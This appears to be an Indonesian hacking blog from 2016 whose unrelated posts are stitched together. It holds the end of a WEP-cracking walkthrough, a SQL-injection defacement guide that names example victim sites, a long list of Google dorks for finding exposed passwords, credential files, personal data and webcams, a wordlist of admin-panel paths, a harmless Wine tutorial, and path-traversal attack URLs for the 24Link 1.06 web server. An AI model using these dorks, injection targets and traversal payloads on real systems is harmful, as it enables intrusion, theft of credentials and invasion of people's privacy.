mendapat langkah opsional

konsole

-b (BSSID) -h 00: 11: 22: 33: 44: 66 wfi0

Tekan y dan masukkan

Sekarang Anda akan melihat bahwa ARP dan ACK paket di konsol 2 meningkat cepat

Menjaga konsol ini seperti itu dan mulai 4 konsol.

Langkah 15: -

aircrack-ng -b (BSSID) (nama file) -

Tinggal menunggu ... ..Backtrack akan melakukan sisa pekerjaan.



Selesai .. !!

Thanks to Milw0rm Sry Temen-temen :v Ane cuma bisa bantu dikit :v

Minggu, 12 Juni 2016

Deface Sql inject Manual

Update Imp. Dorks.
Dork : "inurl:dettaglio.php?id="

Exploit :
www.victim.com/sito/dettaglio.php?id=[SQL]

Example :
http://www.cicloposse.com/dettaglio.php?id=61'
----------------------------------------------------------------------------------------------------------------
Dork: inurl:prodotto.php?id)

Exploit:
www.victim.com/prodotto.php?id=[SQL]

Example:http://www.poderimorini.com/en/prodotto.php?id=14'




sql injection dorks

allinurl: \”index php go buy\”
allinurl: \”index.php?go=sell\”
allinurl: \”index php go linkdir\”
allinurl: \”index.php?go=resource_center\”
allinurl: \”resource_center.html\”
allinurl: \”index.php?go=properties\”
allinurl: \”index.php?go=register\”

Error message queries
“A syntax error has occurred”filetype:ihtml
Informix database errors, potentially containing function names, filenames, file structure information, pieces of SQL code and passwords
“Access denied for user” “Using password”
authorisation errors, potentially containing user names, function names, file structure information and pieces of SQL code
“The script whose uid is ” “is not allowed to access”

access-related PHP errors, potentially containing filenames, function names and file structure information
“ORA-00921: unexpected end of SQL command”
Oracle database errors, potentially containing filenames, function names and file structure information
“error found handling the request” cocoon filetype:xml
Cocoon errors, potentially containing Cocoon version information, filenames, function names and file structure information
“Invision Power Board Database Error”

Invision Power Board bulletin board errors, potentially containing function names, filenames, file structure information and piece of SQL code
“Warning: mysql _ query()” “invalid query”
MySQL database errors, potentially containing user names, function names, filenames and file structure information
“Error Message : Error loading required libraries.”

CGI script errors, potentially containing information about operating system and program versions, user names, filenames and file structure information
“#mysql dump” filetype:sql
MySQL database errors, potentially containing information about database structure and contents
Dork for locating passwords
http://*:*@www” site
passwords for site, stored as the string “http://username:password@www…”
filetype:bak inurl:”htaccess|passwd|shadow|ht users”
file backups, potentially containing user names and passwords
filetype:mdb inurl:”account|users|admin|admin istrators|passwd|password”
mdb files, potentially containing password information
intitle:”Index of” pwd.db
pwd.db files, potentially containing user names and encrypted passwords
inurl:admin inurl:backup intitle:index.of
directories whose names contain the words admin and backup
“Index of/” “Parent Directory” “WS _ FTP.ini”
filetype:ini WS _ FTP PWD
WS_FTP configuration files, potentially containing FTP server access passwords
ext:pwd inurl:(service|authors|administrators |users) “# -FrontPage-”
files containing Microsoft FrontPage passwords
filetype:sql (“passwd values ****” | “password values ****” | “pass values ****” )
files containing SQL code and passwords inserted into a database
intitle:index.of trillian.ini
configuration files for the Trillian IM
eggdrop filetype:user

user configuration files for the Eggdrop ircbot
filetype:conf slapd.conf
configuration files for OpenLDAP
inurl:”wvdial.conf” intext:”password”
configuration files for WV Dial
ext:ini eudora.ini
configuration files for the Eudora mail client
filetype:mdb inurl:users.mdb
Microsoft Access files, potentially containing user account information
Searching for personal data and confidential documents
filetype:xls inurl:”email.xls”
email.xls files, potentially containing contact information
“phone * * *” “address *” “e-mail” intitle: “curriculum vitae”
CVs
“not for distribution”

confidential documents containing the confidential clause
buddylist.blt
AIM contacts list
intitle:index.of mystuff.xml
Trillian IM contacts list
filetype:ctt “msn”
MSN contacts list
filetype:QDF

QDF database files for the Quicken financial application
intitle:index.of finances.xls
finances.xls files, potentially containing information on bank accounts, financial summaries and credit card numbers
intitle:”Index Of” -inurl:maillog maillog size
maillog files, potentially containing e-mail
Network Vulnerability Assessment Report”
“Host Vulnerability Summary Report”
filetype:pdf “Assessment Report”
“This file was generated by Nessus”
reports for network security scans, penetration tests etc
dork for locating network devices
“Copyright (c) Tektronix, Inc.” “printer status”
PhaserLink printers
inurl:”printer/main.html” intext:”settings”
Brother HL printers
intitle:”Dell Laser Printer” ews
Dell printers with EWS technology
intext:centreware inurl:status
Xerox Phaser 4500/6250/8200/8400 printers
inurl:hp/device/this.LCDispatcher
HP printers
intitle:liveapplet inurl:LvAppl
Canon Webview webcams
intitle:”EvoCam” inurl:”webcam.html”
Evocam webcams
inurl:”ViewerFrame?Mode=”

Panasonic Network Camera webcams
(intext:”MOBOTIX M1? | intext:”MOBOTIX M10?) intext:”Open Menu” Shift-Reload
Mobotix webcams
inurl:indexFrame.shtml Axis
Axis webcams
intitle:”my webcamXP server!” inurl:”:8080?
webcams accessible via WebcamXP Server
allintitle:Brains, Corp.
camera webcams accessible via mmEye
intitle:”active webcam page”


Sumber :Millw0rm

Admin Login

Kalo mau copas disini aja CLICK ME!!!
/4dm1n/
/4DM1N/

/redaktur/
/lockredaktur/
/gembokredaktur/
/gembokadmin/
/adminweb/
/webadmin/
/admin1.php
/admin1.html
/admin2.php
/admin2.html
/yonetim.php
/yonetim.html
/yonetici.php
/yonetici.html
/admin/account.php
/admin/account.html
/admin/index.php
/admin/index.html
/admin/login.php
/admin/login.html
/admin/home.php
/admin/controlpanel.html
/admin/controlpanel.php
/admin.php
/admin.html
/admin/cp.php
/admin/cp.html
/cp.php
/cp.html
/administrator/
/administrator/index.html
/administrator/index.php
/administrator/login.html
/administrator/login.php
/administrator/account.html
/administrator/account.php
/administrator.php
/administrator.html
/login.html
/modelsearch/login.php/
/moderator.php/
/moderator.html/
/moderator/login.php/
/moderator/login.html/
/moderator/admin.php
/moderator/admin.html
/account.php
/account.html
/controlpanel/
/controlpanel.php
/controlpanel.html
/admincontrol.php
/admincontrol.html
/adminpanel.php
/adminpanel.html
/admin1.asp
/admin2.asp
/yonetim.asp
/yonetici.asp
/admin/account.asp
/admin/index.asp
/admin/login.asp
/admin/home.asp
/admin/controlpanel.asp
/admin.asp
/admin/cp.asp
/cp.asp
/administrator/index.asp
/administrator/login.asp
/administrator/account.asp
/administrator.asp
/login.asp/
/modelsearch/login.asp//
/moderator.asp
/moderator/login.asp
/moderator/admin.asp
/account.asp
/controlpanel.asp
/admincontrol.asp
/adminpanel.asp
/fileadmin/
/fileadmin.php
/fileadmin.asp
/fileadmin.html
/administration/
/administration.php
/administration.html
/sysadmin.php
/sysadmin.html/
/phpmyadmin//
/myadmin/
/sysadmin.asp
/sysadmin/
/ur-admin.asp
/ur-admin.php
/ur-admin.html
/ur-admin/
/Server.php/
/Server.html
/Server.asp
/Server/
/wp-admin/
/administr8.php
/administr8.html
/administr8/
/administr8.asp/
/webadmin/
/webadmin.php
/webadmin.asp
/webadmin.html
/administratie/
/admins/
/admins.php
/admins.asp
/admins.html
/administrivia/
/Database_Administration/
/WebAdmin/
/useradmin/
/sysadmins/
/admin1/
/system-administration/
/administrators/
/pgadmin/
/directadmin/
/staradmin/
/ServerAdministrator/
/SysAdmin/
/administer/
/LiveUser_Admin/
/sys-admin/
/typo3/
/panel/
/cpanel/
/cPanel/
/cpanel_file/
/platz_login/
/rcLogin/
/blogindex/
/formslogin/
/autologin/
/support_login/
/meta_login/
/manuallogin/
/simpleLogin/
/loginflat/
/utility_login/
/showlogin/
/memlogin/
/members/
/login-redirect/
/sub-login/
/wp-login/
/login1/
/dir-login/
/login_db/
/xlogin/
/smblogin/
/customer_login/
/UserLogin/
/login-us/
/acct_login/
/admin_area/
/bigadmin/
/project-admins/
/phppgadmin/
/pureadmin/
/sql-admin/
/openvpnadmin/
/wizmysqladmin/
/vadmind/
/ezsqliteadmin/
/hpwebjetadmin/
/newsadmin/
/adminpro/
/Lotus_Domino_Admin/
/bbadmin/
/vmailadmin/
/ccp14admin/
/irc-macadmin/
/banneradmin/
/sshadmin/
/phpldapadmin/
/macadmin/
/administratoraccounts/
/admin4_account/
/admin4_colon/
/radmind-1/
/Super-Admin/
/AdminTools/
/cmsadmin/
/phpSQLiteAdmin/
/server_admin_small/
/database_administration/
/system_administration/

Selasa, 07 Juni 2016

Akses WL

Kita tentunya pernah mendengar apa itu Linux ? Linux adalah Sistem Operasi (OS), yang
merupakan variant dari Unix, kalo sudah "Unix" tentu kebanyakan dari kita beranggapan
sesuatu hal yang kelihatanya sulit, benarkah demikian ? Pernah disalah satu media cetak
disebutkan bahwa biasanya pengguna Linux adalah para Profesional IT/MIS/Programmer. Kita
harus menghilangkan anggapan bahwa Unix/Linux itu hanya khusus bagi golongan tertentu
saja, siapapun kita, apapun profesi kita, selama kita memiliki komputer yang mencukupi
kita bisa mencoba install dan menjalankannya. Tapi kita tidak akan membahas bagaimana cara
installasi tapi bagaimana mengoptimalkan Linux anda salah satunya dengan menjalankan
khususnya aplikasi windows yang pernah dan masih berjalan, dijalankan di Linux. Kita semua
tentu sudah kenal dengan MS-Windows dan aplikasinya, karena memang sudah populer
dikalangan pengguna PC. Masalahnya sekarang apabila kita menginstall Linux di PC yang
sudah terpasang OS Windows95, apakah aplikasi-aplikasi yang sudah terpasang di windows
masih bisa dijalankan di Linux ?

Jawabnya BISA !, asalkan komputer kita bisa menjalankan win95 dan xWindows Linux, dengan
menggunakan WINE dapat diperoleh di (http://www.winehq.com)


Wine
Apakah wine ? Wine adalah sebuah sebuah program yang dapat menjalankan aplikasi win16,
win32. Wine ini berjalan baik pada aplikasi win95 atau sebelumnya. Wine adalah
Windows-compatibility layer untuk Unix dan X11. Wine terdiri dari :
Sebuah API, yang kompatibel dengan MS-Windows API
Sebuah Library, disebut Winelib, yang mengimplementasi API
Sebuah Binary compability layer yang menjalankan Windows binari.
Kebutuhan Sistem
Sistem komputer yang dibutuhkan adalah :
Linux versi 0.99.13 atau yang lebih baru.
Sistem X windows
Jika menggunakan RedHat harus Libxpm
Gcc 2.7.x atau yang terbaru.
Installasi
Untuk RedHat ambilah yang versi RPM, karena akan memudahkan kita untuk installasi. Untuk
downloadnya dapat diambil di :
http://www.winehq.com/download.html
Setelah kita ambil yang versi rpm, misalnya disimpan di direktory /root . Untuk installasi
ketikan :

#rpm ^Öi wine*
Tunggu sampai keluar prompt #
File hasil installasi akan terbentuk di lokasi :

/usr/local/bin/wine
File Program eksekusi
/usr/local/etc/wine.conf
File Konfigurasi secara Global
~/.winerc
File untuk user-user yang menjalankan wine
/usr/local/lib/wine.sym
File tabel Umum untuk Symbol (digunakan untuk Debuging) Apabila kita mengambil yang versi
tar.gz maka kita harus menguncompressnya dulu, setelah itu jalankan ./configure

Untuk memanggil program/Aplikasi windows dapat menjalankannya seperti dibawah ini, di
dalam term Xwindows Linux.

#/usr/local/bin/wine /dosc/windows/mshearts.exe

#/usr/local/bin/wine /dosc/windows/sol.exe

#/usr/local/bin/wine /dosc/windows/notepad.exe


Untuk mengetahui aplikasi apa saja yang dapat berjalan di Wine ini anda bisa cek di :
http://www.winehq.com/Apps

Kesimpulan:
Agar aplikasi Windows kita bisa dijalankan di Linux, kita harus install OS- Windows
dahulu, setelah itu dipartisi yang lain kita install Linux. Harddisk yang berisi aplikasi
Windows harus dimount terlebih dahulu agar bisa dibaca oleh Linux. (contoh : mount
/dev/hda1 /dosc), apabila kita masuk ke /dosc berarti kita mengakses harddisk yang berisi
windows tadi (drive C/D dalam aplikasi DOS/WIN).

Dibutuhkan memory komputer yang cukup, untuk menjalankan aplikasi windows ini dikarenakan
aplikasi windows sendiri banyak minta memory.

./ Catatan penulis: Dipersilahkan meng-copy atau men-sebarluaskan apa yang kami tulis
disini dengan tetap mencantumkan penulis dan k-elektronik sebagai penerbit majalah online
via Cyber. Karena artikel ini juga hasil baca baca dan belum 100% persen dicoba :P dan
bila ada kesalahan penulis mohon maaf, karena kita semua hanyalah manusia "no body
perfect" <<--




Sabtu, 04 Juni 2016

Mengambil password Web Server 24Link 1.06

Web server 24Link versi 1.06 telah ditemukan bug yang sangat berbahaya. Dengan bug baru ini memungkinkan anda melihat file apapun yang terproteksi oleh password. Web server yang berjalan di atas Win 95/98/2000 ini, telah di expoit oleh Phriction dengan menambahkan karakter sebelum file yang mau di lihat. Adapun karakter yang bisa ditambahkan adalah : /+/ /./ /+./ /++/ /++./ Sebagai contohnya penyerangan ke web server yang menggunakan 24Link : * http://www.24linkserver.net/++//////protected.html * http://24linkserver.com/+/access.txt \